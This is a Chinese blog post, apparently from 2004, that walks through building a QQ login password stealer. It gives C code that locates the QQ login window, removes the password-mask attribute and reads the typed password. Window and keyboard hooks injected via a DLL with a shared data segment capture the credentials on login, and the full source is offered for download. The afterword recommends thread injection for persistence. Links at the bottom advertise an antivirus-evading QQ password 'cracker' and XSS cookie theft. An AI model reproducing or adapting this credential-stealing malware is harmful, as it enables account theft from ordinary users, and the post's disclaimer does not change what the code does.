利用SDK开发“窃取QQ登陆密码”程序

原创 2004年03月29日 10:26:00

声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何损人不利己的事!

        随着QQ软件用户群的日益庞大,树大招风,针对QQ制作的木马,病毒程序层出不穷,本文只讨论的QQ密码窃取技术,希望大家不要拿去做损人不利己的事,虽然腾讯公司已经开始重视这类问题,并且确实下了不少功夫,但是盾再坚,也有相应的攻破它的方法,本文就是针对腾讯最新版的QQ2003III Build0117为攻破目标,好了,费话少说,我们开始吧,下面是程序截取QQ登陆密码截图:

 

一 取得QQ登录窗口句柄:

说起这个,大家一定会想到用FindWindow这个API,不错,我也是使用这个API得到了登陆窗口的句柄,不过用了点小技巧,大家看到的QQ的登录窗口标题本身是设的空的,然合再加上一个假的标题:“QQ用户登录”“QQ注册向导”,这样就可以防止别人用FindWindow来得到窗口的句柄,当别人枚举窗口名为“QQ用户登录”或“QQ注册向导”的窗口时,结果是根本找不到。因为它显示的标题是假的。腾讯的技术人员看来确是下了功夫的.不过FindWindow并不是非要标题栏才能找得到窗口的,以下是我查找QQ登陆窗口的代码:

HWND hQQlog;//QQ登陆窗口句柄

if (!IsWindow(hQQlog))
{
hQQlog = NULL;
do
{
hQQlog = FindWindow("#32770", NULL);
hLogBtn = FindWindowEx(hQQlog, 0, "Button", "登录");
hNoBtn = FindWindowEx(hQQlog, 0, "Button", "取消");
hRgBtn = FindWindowEx(hQQlog, 0, "Button", "注册向导");
} while ( (hRgBtn == NULL)&& (hLogBtn == NULL) && (hNoBtn == NULL)); //当这三个QQ登陆窗口按钮都存在的情况下肯定就是QQ登陆窗口无疑了.

二 取得QQ登录号码和QQ登录密码:

QQ登录窗口句柄得到了就好办了,以下是我取QQ号码和QQ密码的代码:

void GetPasswd(HWND hWndlog)
{
HWND hWndCbo,hQqNum,hWndEdt;
long nType;
hWndCbo=GetDlgItem(hWndlog,138); //取得QQ号码输入框(组合框)句柄,138是该窗口ID
hQqNum=GetWindow(hWndCbo,GW_CHILD);//由于窗口是CBS_DROPDOWN样式,因此它有一个EDIT子窗口,取得该EDIT句柄
GetWindowText(hQqNum,szQqNum,20);//取得QQ登录号码
hWndEdt = FindWindowEx(hWndlog, 0, "Edit", NULL);//取得QQ密码框句柄
nType = SendMessage(hWndEdt, EM_GETPASSWORDCHAR, 0, 0);//得到该密码框属性,用做取完密码后恢复该属性用
PostMessage( hWndEdt, EM_SETPASSWORDCHAR, 0, 0);//去除密码框密码属性
Sleep (100);//停止100毫秒,这点很重要
SendMessage (hWndEdt,WM_GETTEXT,255,(LPARAM)szPasswd);//取出QQ登录密码
PostMessage (hWndEdt,EM_SETPASSWORDCHAR,nType,0);//恢复QQ密码框属性
DialogBoxParam(hInstDLL, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);//显示结果
}

需要说明的几点是:

  1. Window98下可以直接用GetWindowText取得密码框文本,Window2000/XP等NT系统对这方面做了防范.如果发现该文本框有密码框属性,GetWindowText会失效,所以要先取掉密码框属性.
  2. 我这里是针对腾讯最新版QQ2003III Build0117,其它版本QQ取QQ号码时候如果组合框不是CBS_DROPDOWN样式,会取不出来.

三 钩子:

好了,那么下面的问题是,这段窃取密码的操作应该在什么时候执行呢?大家可能想到用计时器来控制取密码的时间,类似这个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
GetPasswd(hWndlog);
}
  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中招者正在输入密码和QQ号码,取密码的操作就已经执行了......   
  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我就用钩子来实现QQ密码窃取这个功能.
  首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
  问题具体到了“QQ登录密码窃取”上面,就是我们需要一个钩子,在用户单击了“登录”按钮之后,执行取QQ密码和号码的操作。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):

// 钩子过程,监视“登录”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
static HWND hRturn,hRgIN,hQQChk,hClose,hRgDlg;
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“登录”按钮
switch(p->message)
{
case WM_COMMAND:
switch(LOWORD(p->wParam))
{
case 1:
GetPasswd(hProLog);
break;
case 105:
if(!IsWindow(hRgDlg))
{
SetHook(NULL);
do
{
hRgDlg = FindWindow("#32770",NULL);
hRturn = FindWindowEx(hRgDlg,0,"Button","返回登陆框");
} while ((hRgDlg == NULL)&&(hRturn == NULL));

if (hRgDlg != NULL)
SetHook(hRgDlg);
}
break;
case 12324:
do
{
hRgDlg = FindWindow("#32770",NULL);
hRturn = FindWindowEx(hRgDlg,0,"Button","返回登陆框");
} while ((hRgDlg == NULL)&&(hRturn == NULL));
do
{
hRgIN = FindWindowEx(hRgDlg,0,"#32770",NULL);
hQQChk = GetDlgItem(hRgIN,118);
}while ((hRgIN == NULL)&&(hQQChk == NULL));
if(SendMessage(hQQChk,BM_GETCHECK,0,0))
{
GetPasswdEx(hRgIN);
}
else
{
SetHook(NULL);
}
break;
}
break;
case WM_DESTROY:
if ((hRgDlg == NULL)&&(hRturn == NULL))
{
SetHook(NULL);
hClose = FindWindow("QQPASS","QQ 密码记者 Ver 1.0");
SendMessage(hClose,WM_CLOSE,0,0);
}
break;
}

return CallNextHookEx(hWndProc, nCode, wParam, lParam);
}

在此我说明几点:

  1. 这个过程包括了通过注册向导登录QQ窃取密码的过程.原理差不多,我就不再具体讲解了,大家可以看看本文所附的原码,本文只讨论通过QQ登录对话框登录QQ的密码窃取方法.
  2. lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
    typedef struct {
    LPARAM lParam;
    WPARAM wParam;
    UINT message;
    HWND hwnd;
    } CWPSTRUCT, *PCWPSTRUCT;
      这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。
  3. CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应
  4. 熟悉SDK的朋友一定清楚WM_COMMAND这个消息,本文正是通过对这部分消息的处理得到用户按下"登录"按钮的事件的,1是登录按钮的窗口ID.

实际上,很多人并不会按下"登录"按钮登录QQ,有些人偏爱使用"ENTER"这个登录热键登录QQ,所以我们还需要挂接一个键盘钩子.以下是具体代码:

// 键盘钩子过程,监视“登录(Enter)”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == VK_RETURN && lParam == 0)
GetPasswd(hProLog);
return CallNextHookEx(hWndKey, nCode, wParam, lParam);
}

在这里唯一要解释的一点就是lParam == 0子句。很明显这个if判断是在判断热键Enter的输入,那么lParam == 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam == 0的意思就是在WM_KEYDOWN的时候调用GetPasswd(hProLog),也就是说,如果去掉这个条件,GetPasswd(hProLog)将会被调用两次(连同WM_KEYUP的一次)。

四 挂接钩子

接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
挂接钩子的目标,肯定是QQ登录窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:

// 挂接钩子
BOOL WINAPI SetHook(HWND hQQlog)
{
BOOL bRet = FALSE;
hProLog=hQQlog;
if ((hQQlog != NULL) && (IsWindow(hQQlog)))
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQlog, NULL);
// 挂接钩子
hWndProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,hInstDLL, dwThreadID);
hWndKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,hInstDLL, dwThreadID);
bRet = (hWndProc != NULL) && (hWndKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(hWndProc) && UnhookWindowsHookEx(hWndKey);
hWndProc = NULL;
hWndKey = NULL;
}
return bRet;
}

     需要说明的一点是hQQlog是QQ登录窗口的句柄,是通过调用这个DLL的EXE文件传入的.

      到此为止,以上所有的代码都位于一个QQHook.dll的动态链接库之中,关于DLL我就不多介绍了,请自己查阅相关资料和本文的配套源代码。
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。

五 DLL的共享数据段

在此感谢好友titilima的《“QQ尾巴病毒”核心技术的实现》一文中关于DLL和HOOK的描述,十分形象易懂,我所做的,只是把他文中的这部分重新引用了一下.

如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:

// 定义共享数据段

#pragma data_seg("shared")
HHOOK hWndProc = NULL; // 窗口过程钩子句柄
HHOOK hWndKey = NULL; // 键盘钩子句柄
HWND hProLog = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
  这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
  是的,密码窃取失败了!
  好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:

这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量hQQlog来说,图中左边的DLL通过EXE的传入获得了QQ登录框句柄,然而如果没有共享段的话,那么右边的DLL中,hQQlog仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。
  在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现QQHook.dll也位于QQ.exe的模块之中。

六 后记

写到这里,所有功能都已经基本实现了,本文所附的程序只是一个测试程序,没有做任何保护自身的措施,实际上,目前许多流行的木马和病毒都使用线程插入技术,来实现自身的保护,通过把自身线程注入系统进程来时刻监视EXE文件的情况,来实现病毒,木马的"野火烧不尽,春风吹又生",真是高明,有兴趣的朋友可以参看一下Jeffrey Richter《Windows核心编程》的22章.

点此下载本文配套源码

SDK中使用mfc

1.在stdafx.h中所有的头文件之前加入如下头文件:  #include                   //   MFC   core   and   standard   compon...
  • nanjian011
  • nanjian011
  • 2015年06月29日 18:00
  • 684

QQ粘虫密码破解器ASP后台稳定收信免杀版

QQ粘虫密码破解器ASP后台稳定收信免杀版 软件介绍:http://qq10369323.web3v.net
  • sinat_35011257
  • sinat_35011257
  • 2016年09月10日 00:55
  • 1022

Android系统手机窃取小程序

实验环境 1.    操作系统:android 4.0 实验内容 1.    问题描述 随着移动智能终端的快速发展,安全问题变得越来越严峻。Android系统在智能手机领域占据着比较大的比重,但同时也...
  • Xbalien29
  • Xbalien29
  • 2014年02月08日 12:13
  • 2268

[JS]怎样实现QQ登录 JS SDK版(新)

准备阶段的知识就不说了,建议还是先看看腾讯的相关文档,实在没思路不知道怎么下手再参考我这篇教程吧 HTML页面部分(即Login.htm登录页) 1、把注册获得的APPID、redirect地址写...
  • Love__sea
  • Love__sea
  • 2015年07月07日 17:22
  • 3038

XSS(偷你的Cookies)

XSS(Cross Site Scripting),跨站脚本攻击,取名XSS是避免和CSS同名。XSS攻击原理:攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段...
  • qq_27552077
  • qq_27552077
  • 2017年03月12日 22:53
  • 594

最新Android实现分享到QQ QZone 博客功能(集成官方SDK,不使用第三方)

现在有很多第三分享平台,号称一键分享到所有平台,其实对于一般的分享需求,使用隐式Intent请求也可以分享出去,但是对于需要定制分享内容和样式的(比如分享框的title ,文字样式,图标头像等等),这...
  • philos3
  • philos3
  • 2016年06月18日 14:49
  • 4106

利用JS_SDK实现QQ第三方登录

根据项目实际需求,需要QQ第三方登录,总结教程如下。 准备工作 在正式接入之前你需要了解以下名词的含义: 1. appid :应用的唯一标识。在OAuth2.0认证过程中,appid的值即为oa...
  • yuanll023
  • yuanll023
  • 2017年01月19日 16:46
  • 1607

工作窃取算法

工作窃取算法->多线程中的一种提高效率的方法 工作窃取算法是指某个线程从其他队列中窃取任务进行执行的过程。对于常见的一个大型任务,我们可以把这个大的任务切割成很多个小任务,然后这些小任务会放在不同的...
  • xuqiaobo
  • xuqiaobo
  • 2016年05月25日 09:07
  • 1867

使用share SDK实现QQ空间授权登录、分享(1.x版本)

操作步骤: 1、在share官网注册应用生成AppKey并下载SDK     网址:http://www.shareSDK.cn 2、在QQ空间平台注册应用生成AppId和AppKey    网址:h...
  • u010142437
  • u010142437
  • 2014年01月26日 19:16
  • 6153

qqlite 插件开发总结

1、  QQ机器人的使用场景        可以看官网上的详细介绍,比如QQ群的自动营销或者活跃群气氛,代替人工进行自动回复等。        QQ机器人的常用种类:常用的有两种:QQLite 和 Q...
  • hnxymjj
  • hnxymjj
  • 2016年06月16日 13:05
  • 3732
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用SDK开发“窃取QQ登陆密码”程序
举报原因:
原因补充:

(最多只允许输入30个字)